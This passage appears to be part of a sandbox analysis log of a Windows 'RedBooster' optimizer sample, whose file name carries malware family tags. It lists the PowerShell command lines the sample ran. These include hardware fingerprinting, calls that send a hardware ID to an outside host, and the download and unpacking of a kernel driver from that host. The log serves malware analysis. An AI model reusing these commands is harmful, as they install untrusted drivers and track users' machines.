    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=5.3.2 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1736 --field-trial-handle=1740,i,13628072957136689303,13046068052218132701,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:2 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:960
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=5.3.2 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2132 --field-trial-handle=1740,i,13628072957136689303,13046068052218132701,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:3 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:3092
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=5.3.2 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2256 --field-trial-handle=1740,i,13628072957136689303,13046068052218132701,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:6416
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=5.3.2 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3404 --field-trial-handle=1740,i,13628072957136689303,13046068052218132701,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa /prefetch:1
    3⤵
    PID:4200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue' $mp='HKLM:\SYSTEM\CurrentControlSet\Services\mouclass\Parameters' $kp='HKLM:\SYSTEM\CurrentControlSet\Services\kbdclass\Parameters' $hit=$false if($null -ne (Get-ItemProperty $mp -Name MouseDataQueueSize -EA SilentlyContinue).MouseDataQueueSize){ $hit=$true } if($null -ne (Get-ItemProperty $kp -Name KeyboardDataQueueSize -EA SilentlyContinue).KeyboardDataQueueSize){ $hit=$true } Remove-ItemProperty $mp -Name MouseDataQueueSize -Force -ErrorAction SilentlyContinue Remove-ItemProperty $kp -Name KeyboardDataQueueSize -Force -ErrorAction SilentlyContinue if($hit){ 'RBHEAL_HIT' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue' $old = Join-Path $env:ProgramFiles 'RedBooster' $cur = 'C:\Users\Admin\AppData\Local\Temp' if((Test-Path (Join-Path $old 'redbooster.exe')) -and ($old.TrimEnd('\').ToLower() -ne $cur.TrimEnd('\').ToLower())){ $oldl = $old.ToLower() # Remove any Desktop / Start-Menu shortcut (per-user AND all-users) that points into the old dir. $sh = New-Object -ComObject WScript.Shell $dirs = @( (Join-Path $env:PUBLIC 'Desktop'), ([Environment]::GetFolderPath('Desktop')), (Join-Path $env:ProgramData 'Microsoft\Windows\Start Menu\Programs'), (Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs') ) foreach($d in $dirs){ Get-ChildItem -LiteralPath $d -Recurse -Filter '*.lnk' -EA SilentlyContinue | ForEach-Object { $t=''; try{ $t=$sh.CreateShortcut($_.FullName).TargetPath }catch{} if($t -and $t.ToLower().StartsWith($oldl)){ Remove-Item -LiteralPath $_.FullName -Force -EA SilentlyContinue } } } # Remove the old HKLM uninstall entry (Add/Remove Programs) whose install path points at the old dir. foreach($root in @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall','HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall')){ Get-ChildItem $root -EA SilentlyContinue | ForEach-Object { $pp = Get-ItemProperty $_.PSPath -EA SilentlyContinue $il = (''+$pp.InstallLocation).TrimEnd('\').ToLower(); $di = (''+$pp.DisplayIcon).ToLower() if(($il -and $il -eq $oldl) -or ($di.StartsWith($oldl))){ Remove-Item -LiteralPath $_.PSPath -Recurse -Force -EA SilentlyContinue } } } # Finally remove the orphaned files. Remove-Item -LiteralPath $old -Recurse -Force -EA SilentlyContinue }"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};try { $r = Invoke-RestMethod -Uri 'https://privateredeyeapi.com/?action=StatsBooster' -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; ('{0}|{1}' -f [int]$r.total, [int]$r.online) } catch { '0|0' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Warning; $n.Visible=$true; $n.ShowBalloonTip(8000,'Restart to finish','RedBooster removed an old setting that was making your mouse or keyboard unresponsive. Please restart your PC to complete the fix.',[System.Windows.Forms.ToolTipIcon]::Warning); $end=(Get-Date).AddSeconds(8); while((Get-Date) -lt $end){ [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 100 }; $n.Dispose()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$v=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue | Select-Object -ExpandProperty CurrentTemperature; if($v){ ($v | ForEach-Object { [math]::Round($_/10-273.15,1) }) -join ',' } else { '' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='Stop'; try { $r = Invoke-WebRequest -Uri 'https://privateredeyeapi.com/modules/catalog.json' -UseBasicParsing -TimeoutSec 20 -Headers @{'User-Agent'='RedBooster'}; $b = if ($r.RawContentStream) { $r.RawContentStream.ToArray() } else { [Text.Encoding]::UTF8.GetBytes($r.Content) }; Write-Output ('RB_B64:' + [Convert]::ToBase64String($b)) } catch { }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=MaintGetBooster' try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=NewsBooster' try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u=(Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue).UUID;$b=(Get-CimInstance Win32_BaseBoard -ErrorAction SilentlyContinue).SerialNumber;$p=(Get-CimInstance Win32_Processor -ErrorAction SilentlyContinue | Select-Object -First 1).ProcessorId;\"$u|$b|$p\""
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=AdminCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('RAxQWyB_k5hk8EJjm7au9kZnvgE5P9C5LlqSVdmyKwc') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='Stop';try {$tools='C:\Users\Admin\AppData\Local\RedBooster\tools';New-Item -ItemType Directory -Force -Path $tools | Out-Null;$zip=Join-Path $env:TEMP 'rb_iodriver.zip';Invoke-WebRequest -Uri 'https://privateredeyeapi.com/tools/iodriver.zip' -OutFile $zip -Headers @{'User-Agent'='RedBooster'} -TimeoutSec 60 -UseBasicParsing;Expand-Archive -Path $zip -DestinationPath $tools -Force;Remove-Item $zip -Force -ErrorAction SilentlyContinue;$sysfile=Join-Path $tools 'iodriver\inpoutx64.sys';if(-not (Test-Path $sysfile)){'ERR_NOFILE'; exit};$sig=Get-AuthenticodeSignature -FilePath $sysfile;if($sig.Status -ne 'Valid'){Remove-Item $sysfile -Force -ErrorAction SilentlyContinue; 'ERR_SIG:'+$sig.Status; exit};$subj=\"$($sig.SignerCertificate.Subject)\";if($subj -notlike '*Red Fox UK Limited*'){Remove-Item $sysfile -Force -ErrorAction SilentlyContinue; 'ERR_SIGNER:'+$subj; exit};'OK'} catch { 'ERR:'+$_.Exception.Message }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:5680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=ForceGetBooster' try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 8 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:3976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=GatesGetBooster' try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:3676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=BanCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('RAxQWyB_k5hk8EJjm7au9kZnvgE5P9C5LlqSVdmyKwc') $u+='&key='+[uri]::EscapeDataString('') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=AdminCheckBooster' $u+='&hwid='+[uri]::EscapeDataString('RAxQWyB_k5hk8EJjm7au9kZnvgE5P9C5LlqSVdmyKwc') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
